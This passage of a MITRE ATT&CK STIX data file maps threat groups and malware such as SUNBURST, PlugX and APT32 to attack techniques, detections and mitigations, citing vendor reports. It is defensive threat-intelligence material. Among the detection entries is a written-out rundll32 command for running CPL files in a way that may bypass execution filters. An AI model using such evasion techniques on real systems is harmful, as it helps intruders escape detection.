2019)","modified":"2022-04-14T16:20:10.397Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--28170e17-8384-415c-8486-2e6b294cb803","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--78fc38f6-88ee-4f26-84e1-7532d95a4fbe","type":"relationship","created":"2020-05-26T16:17:59.550Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Rocke August 2018","url":"https://blog.talosintelligence.com/2018/08/rocke-champion-of-monero-miners.html","description":"Liebenberg, D.. (2018, August 30). Rocke: The Champion of Monero Miners. Retrieved May 26, 2020."},{"source_name":"Unit 42 Rocke January 2019","url":"https://unit42.paloaltonetworks.com/malware-used-by-rocke-group-evolves-to-evade-detection-by-cloud-security-products/","description":"Xingyu, J.. (2019, January 17). Malware Used by Rocke Group Evolves to Evade Detection by Cloud Security Products. Retrieved May 26, 2020."},{"source_name":"Anomali Rocke March 2019","url":"https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang","description":"Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019."}],"modified":"2020-06-15T19:59:06.538Z","description":"[Rocke](https://attack.mitre.org/groups/G0106)'s miner has created UPX-packed files in the Windows Start Menu Folder.(Citation: Talos Rocke August 2018)(Citation: Unit 42 Rocke January 2019)(Citation: Anomali Rocke March 2019)","relationship_type":"uses","source_ref":"intrusion-set--44102191-3a31-45f8-acbe-34bdb441d5ad","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--78fce2a1-4d92-4e67-8e9b-c684f33b4536","type":"relationship","created":"2021-01-25T17:27:10.902Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Deep Dive Solorigate January 2021","url":"https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/","description":"MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021."}],"modified":"2021-01-25T17:27:10.902Z","description":"[SUNBURST](https://attack.mitre.org/software/S0559) created an Image File Execution Options (IFEO) Debugger registry value for the process dllhost.exe to trigger the installation of [Cobalt Strike](https://attack.mitre.org/software/S0154).(Citation: Microsoft Deep Dive Solorigate January 2021)","relationship_type":"uses","source_ref":"malware--a8839c95-029f-44cf-8f3d-a3cf2039e927","target_ref":"attack-pattern--6d4a7fb3-5a24-42be-ae61-6728a2b581f6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7903f25e-388e-4cda-bd09-bc83fa64d62e","created":"2022-09-27T22:38:06.799Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cybereason OperationCuckooBees May 2022","description":"Cybereason Nocturnus. (2022, May 4). Operation CuckooBees: Deep-Dive into Stealthy Winnti Techniques. Retrieved September 22, 2022.","url":"https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-06T20:42:20.371Z","description":"During [Operation CuckooBees](https://attack.mitre.org/campaigns/C0012), the threat actors used the `dsquery` and `dsget` commands to get domain environment information and to query users in administrative groups.(Citation: Cybereason OperationCuckooBees May 2022)","relationship_type":"uses","source_ref":"campaign--93c23946-49af-41f4-ac03-40f9ffc7419b","target_ref":"attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--79057890-3cd0-4124-8b35-b86db6b4f9d7","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity OceanLotus Nov 2017","description":"Lassalle, D., et al. (2017, November 6). OceanLotus Blossoms: Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society. Retrieved November 6, 2017.","url":"https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/"},{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"}],"modified":"2020-06-19T20:04:12.428Z","description":"[APT32](https://attack.mitre.org/groups/G0050) has used JavaScript that communicates over HTTP or HTTPS to attacker controlled domains to download additional frameworks. The group has also used downloaded encrypted payloads over HTTP.(Citation: Volexity OceanLotus Nov 2017)(Citation: Cybereason Cobalt Kitty 2017)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7908bc8d-8a9b-48c0-897e-25266950b0da","created":"2021-11-29T16:42:41.734Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Profero APT27 December 2020","description":"Global Threat Center, Intelligence Team. (2020, December). APT27 Turns to Ransomware. Retrieved November 12, 2021.","url":"https://web.archive.org/web/20210104144857/https://shared-public-reports.s3-eu-west-1.amazonaws.com/APT27+turns+to+ransomware.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T20:05:38.083Z","description":"[RCSession](https://attack.mitre.org/software/S0662) can use WinSock API for communication including WSASend and WSARecv.(Citation: Profero APT27 December 2020)","relationship_type":"uses","source_ref":"malware--03acae53-9b98-46f6-b204-16b930839055","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7909f5a6-3924-4259-aedd-2e48123f563a","type":"relationship","created":"2017-05-31T21:33:27.036Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant APT1","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}],"modified":"2019-08-20T13:08:13.439Z","description":"(Citation: Mandiant APT1)","relationship_type":"uses","source_ref":"intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662","target_ref":"malware--5a84dc36-df0d-4053-9b7c-f0c388a57283","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--790c8ce0-9002-4b95-9fc5-ceb55724e259","created":"2024-02-12T20:03:50.427Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Ensilo Darkgate 2018","description":"Adi Zeligson & Rotem Kerner. (2018, November 13). Enter The DarkGate - New Cryptocurrency Mining and Ransomware Campaign. Retrieved February 9, 2024.","url":"https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T15:05:12.404Z","description":"[DarkGate](https://attack.mitre.org/software/S1111) can deploy follow-on cryptocurrency mining payloads.(Citation: Ensilo Darkgate 2018)","relationship_type":"uses","source_ref":"malware--6f6f67c9-556d-4459-95c2-78d272190e52","target_ref":"attack-pattern--a718a0c8-5768-41a1-9958-a1cc3f995e99","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--790f6fe2-1b72-4e6f-be23-1ff427fab077","type":"relationship","created":"2022-03-30T14:26:51.864Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.864Z","description":"Monitor for changes made to processes that may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges.","source_ref":"x-mitre-data-component--d5fca4e4-e47a-487b-873f-3d22f8865e96","target_ref":"attack-pattern--ea016b56-ae0e-47fe-967a-cc0ad51af67f","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--79106ad4-28d3-4f67-a2c3-116d138ec84a","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.","source_name":"Dell TG-3390"},{"source_name":"CIRCL PlugX March 2013","url":"http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf","description":"Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018."}],"modified":"2020-03-19T19:50:55.403Z","description":"[PlugX](https://attack.mitre.org/software/S0013) allows actors to spawn a reverse shell on a victim.(Citation: Dell TG-3390)(Citation: CIRCL PlugX March 2013)","relationship_type":"uses","source_ref":"malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--79127e56-edbc-422b-9c32-72ce55f5ec04","type":"relationship","created":"2019-09-26T16:22:41.856Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Dumont, R.. (2019, April 9). OceanLotus: macOS malware update. Retrieved April 15, 2019.","url":"https://www.welivesecurity.com/2019/04/09/oceanlotus-macos-malware-update/","source_name":"ESET OceanLotus macOS April 2019"}],"modified":"2019-09-26T16:22:41.856Z","description":"[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) has a variant that is packed with UPX.(Citation: ESET OceanLotus macOS April 2019)","relationship_type":"uses","source_ref":"malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--79189147-fe44-4ce0-8afb-9b95f8ce16df","created":"2021-03-23T20:54:38.951Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"},{"source_name":"Recorded Future RedEcho Feb 2021","description":"Insikt Group. (2021, February 28). China-Linked Group RedEcho Targets the Indian Power Sector Amid Heightened Border Tensions. Retrieved March 22, 2021.","url":"https://go.recordedfuture.com/hubfs/reports/cta-2021-0228.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:27:10.529Z","description":"(Citation: FireEye APT41 Aug 2019)(Citation: Recorded Future RedEcho Feb 2021)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"malware--ec9e00dd-0313-4d5b-8105-c20aa47abffc","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--79192884-411c-490d-a28e-f923be7070e3","created":"2022-06-01T21:34:53.167Z","x_mitre_version":"0.1","external_references":[{"source_name":"Forcepoint BITTER Pakistan Oct 2016","url":"https://www.forcepoint.com/blog/x-labs/bitter-targeted-attack-against-pakistan","description":"Dela Paz, R. (2016, October 21). BITTER: a targeted attack against Pakistan. Retrieved June 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[BITTER](https://attack.mitre.org/groups/G1002) has encrypted their C2 communications.(Citation: Forcepoint BITTER Pakistan Oct 2016)","modified":"2022-06-01T21:34:53.167Z","relationship_type":"uses","source_ref":"intrusion-set--7f848c02-4d1e-4808-a4ae-4670681370a9","target_ref":"attack-pattern--b8902400-e6c5-4ba2-95aa-2d35b442b118","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--791b12bb-cb49-4fc6-a4a5-ea7773fce408","created":"2022-08-09T16:51:46.556Z","x_mitre_version":"0.1","external_references":[{"source_name":"ZScaler Squirrelwaffle Sep 2021","url":"https://www.zscaler.com/blogs/security-research/squirrelwaffle-new-loader-delivering-cobalt-strike","description":"Kumar, A., Stone-Gross, Brett. (2021, September 28). Squirrelwaffle: New Loader Delivering Cobalt Strike. Retrieved August 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Squirrelwaffle](https://attack.mitre.org/software/S1030) has encoded its communications to C2 servers using Base64.(Citation: ZScaler Squirrelwaffle Sep 2021)","modified":"2022-08-26T21:12:32.381Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--3c18ad16-9eaf-4649-984e-68551bff0d47","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--791d8691-7e06-4052-8c49-1a9f57ccf09d","created":"2022-09-08T13:53:22.660Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"McAfee Night Dragon","description":"McAfee® Foundstone® Professional Services and McAfee Labs™. (2011, February 10). Global Energy Cyberattacks: “Night Dragon”. Retrieved February 19, 2018.","url":"https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-28T16:56:07.500Z","description":"During [Night Dragon](https://attack.mitre.org/campaigns/C0002), threat actors dumped account hashes using [gsecdump](https://attack.mitre.org/software/S0008).(Citation: McAfee Night Dragon)","relationship_type":"uses","source_ref":"campaign--ae407e32-87e0-4d92-8705-3ae25d504d8a","target_ref":"attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7920e13a-6c7f-4609-9a6a-729c053242eb","created":"2022-07-25T17:53:19.770Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelOne Aoqin Dragon June 2022","description":"Chen, Joey. (2022, June 9). Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022.","url":"https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-11T16:16:08.413Z","description":"[Mongall](https://attack.mitre.org/software/S1026) can use `rundll32.exe` for execution.(Citation: SentinelOne Aoqin Dragon June 2022)","relationship_type":"uses","source_ref":"malware--6fb36c6f-bb3d-4ed6-9471-cb9933e5c154","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7920e962-00d7-4eb0-a94d-ed1ca196cd50","type":"relationship","created":"2021-06-11T19:53:34.580Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Kimsuky June 2021","url":"https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/","description":"Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021."}],"modified":"2021-06-11T19:53:34.580Z","description":"[AppleSeed](https://attack.mitre.org/software/S0622) can identify the OS version of a targeted system.(Citation: Malwarebytes Kimsuky June 2021)","relationship_type":"uses","source_ref":"malware--295721d2-ee20-4fa3-ade3-37f4146b4570","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--792376f7-db54-4ae9-b50a-38b67ed96053","type":"relationship","created":"2021-09-09T13:53:16.326Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Oblique RAT March 2021","url":"https://blog.talosintelligence.com/2021/02/obliquerat-new-campaign.html","description":"Malhotra, A. (2021, March 2). ObliqueRAT returns with new campaign using hijacked websites. Retrieved September 2, 2021."}],"modified":"2021-10-15T14:43:12.340Z","description":"[ObliqueRAT](https://attack.mitre.org/software/S0644) has the ability to check for blocklisted computer names on infected endpoints.(Citation: Talos Oblique RAT March 2021)","relationship_type":"uses","source_ref":"malware--5864e59f-eb4c-43ad-83b2-b5e4fae056c9","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--79268515-ccc0-423c-b14c-2768ff2263c9","created":"2024-09-09T14:39:29.115Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-09T14:39:29.115Z","description":"","relationship_type":"subtechnique-of","source_ref":"attack-pattern--cc279e50-df85-4c8e-be80-6dc2eda8849c","target_ref":"attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--792c5ad3-87ca-473f-998b-654f29a5b10f","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellMafia/PowerSploit","description":"PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.","source_name":"GitHub PowerSploit May 2012"},{"url":"http://powersploit.readthedocs.io","description":"PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.","source_name":"PowerSploit Documentation"}],"modified":"2019-04-24T23:43:08.258Z","description":"[PowerSploit](https://attack.mitre.org/software/S0194)'s Get-TimedScreenshot Exfiltration module can take screenshots at regular intervals.(Citation: GitHub PowerSploit May 2012)(Citation: PowerSploit Documentation)","relationship_type":"uses","source_ref":"tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--79333543-6031-4aa4-91be-35d80fae8ed2","type":"relationship","created":"2019-09-13T14:28:14.469Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Machete July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf","description":"ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."},{"description":"The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.","url":"https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html","source_name":"Cylance Machete Mar 2017"}],"modified":"2020-11-20T20:11:15.536Z","description":"[Machete](https://attack.mitre.org/software/S0409) stores files and logs in a folder on the local drive.(Citation: ESET Machete July 2019)(Citation: Cylance Machete Mar 2017)","relationship_type":"uses","source_ref":"malware--35cd1d01-1ede-44d2-b073-a264d727bc04","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--7934d190-f6b7-48d2-8489-d17dd8dfdf10","created":"2022-03-30T14:26:51.839Z","x_mitre_version":"0.1","external_references":[{"source_name":"TrendMicro CPL Malware Jan 2014","url":"https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf","description":"Mercês, F. (2014, January 27). CPL Malware - Malicious Control Panel Items. Retrieved January 18, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"When executed from the command line or clicked, control.exe will execute the CPL file (ex: control.exe file.cpl) before [Rundll32](https://attack.mitre.org/techniques/T1218/011) is used to call the CPL's API functions (ex: rundll32.exe shell32.dll,Control_RunDLL file.cpl). CPL files can be executed directly via the CPL API function with just the latter [Rundll32](https://attack.mitre.org/techniques/T1218/011) command, which may bypass detections and/or execution filters for control.exe.(Citation: TrendMicro CPL Malware Jan 2014)","modified":"2022-04-20T00:33:31.548Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--4ff5d6a8-c062-4c68-a778-36fc5edd564f","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--793aca65-2d1b-487d-96f1-a7b3d4b18026","type":"relationship","created":"2022-03-30T14:26:51.837Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.837Z","description":"Monitor for changes made to system log files, typically stored in /var/log or /Library/Logs, for unexpected modifications to access permissions and attributes ","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--2bce5b30-7014-4a5d-ade7-12913fe6ac36","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--793deb5b-f7f8-4848-980c-3701aaa24f5d","type":"relationship","created":"2022-03-30T14:26:51.854Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.854Z","description":"Monitor executed commands and arguments for actions for abnormal usage of utilities and command-line arguments that may be used in support of remote transfer of files","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--79412658-c213-4746-b03d-c828957d6ddb","created":"2020-02-04T19:13:24.913Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"create_sym_links","description":"Microsoft. (2021, October 28). Create symbolic links. Retrieved April 27, 2022.","url":"https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/create-symbolic-links"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-19T17:48:05.763Z","description":"Applying more restrictive permissions to files and directories could prevent adversaries from modifying their access control lists. Additionally, ensure that user settings regarding local and remote symbolic links are properly set or disabled where unneeded.(Citation: create_sym_links)","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--65917ae0-b854-4139-83fe-bf2441cf0196","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7942bbcc-cff9-4cc6-b568-5fcd3b6a5ddf","type":"relationship","created":"2019-06-05T19:04:37.873Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro BKDR_URSNIF.SM","url":"https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/BKDR_URSNIF.SM?_ga=2.129468940.1462021705.1559742358-1202584019.1549394279","description":"Sioting, S. (2013, June 15). BKDR_URSNIF.SM. Retrieved June 5, 2019."}],"modified":"2019-06-24T16:46:20.818Z","description":"[Ursnif](https://attack.mitre.org/software/S0386) has collected files from victim machines, including certificates and cookies.(Citation: TrendMicro BKDR_URSNIF.SM)","relationship_type":"uses","source_ref":"malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7943f92f-8956-4bb9-9f92-c932fb267b19","created":"2024-01-09T19:10:52.728Z","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat June 2022","description":"Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat/106799/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-09T19:10:52.728Z","description":"[Samurai](https://attack.mitre.org/software/S1099) can encrypt C2 communications with AES.(Citation: Kaspersky ToddyCat June 